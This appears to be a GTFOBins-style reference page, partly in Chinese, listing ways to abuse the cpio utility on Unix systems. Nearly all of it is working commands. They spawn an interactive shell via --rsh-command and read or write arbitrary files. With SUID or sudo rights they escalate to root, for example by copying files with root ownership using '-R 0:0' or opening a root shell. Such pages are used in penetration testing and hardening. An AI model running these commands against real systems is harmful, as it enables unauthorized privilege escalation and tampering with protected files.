.. / cpio

shell

用来生成一个交互式的系统shell。

• echo '/bin/sh /dev/tty' >localhost
  cpio -o --rsh-command /bin/sh -F localhost:
  

file-read

从文件中读取数据。

• The content of the file is printed to standard output, between the cpio archive format header and footer.

  LFILE=要读取的文件路径
  echo "$LFILE" | cpio -o
  

  The whole directory structure is copied to $TF.

  LFILE=要读取的文件路径
  TF=$(mktemp -d)
  echo "$LFILE" | cpio -dp $TF
  cat "$TF/$LFILE"
  

file-write

将数据写入文件中。

• Copies $LFILE to the $LDIR directory.

  LFILE=要写入的文件
  LDIR=where_to_write
  echo DATA >$LFILE
  echo $LFILE | cpio -up $LDIR
  

suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

• The whole directory structure is copied to $TF.

  LFILE=要读取的文件路径
  TF=$(mktemp -d)
  echo "$LFILE" | ./cpio -R $UID -dp $TF
  cat "$TF/$LFILE"
  

  Copies $LFILE to the $LDIR directory.

  LFILE=要写入的文件
  LDIR=where_to_write
  echo DATA >$LFILE
  echo $LFILE | ./cpio -R 0:0 -p $LDIR
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• echo '/bin/sh /dev/tty' >localhost
  sudo cpio -o --rsh-command /bin/sh -F localhost:
  

  The whole directory structure is copied to $TF.

  LFILE=要读取的文件路径
  TF=$(mktemp -d)
  echo "$LFILE" | sudo cpio -R $UID -dp $TF
  cat "$TF/$LFILE"
  

  Copies $LFILE to the $LDIR directory.

  LFILE=要写入的文件
  LDIR=where_to_write
  echo DATA >$LFILE
  echo $LFILE | sudo cpio -R 0:0 -p $LDIR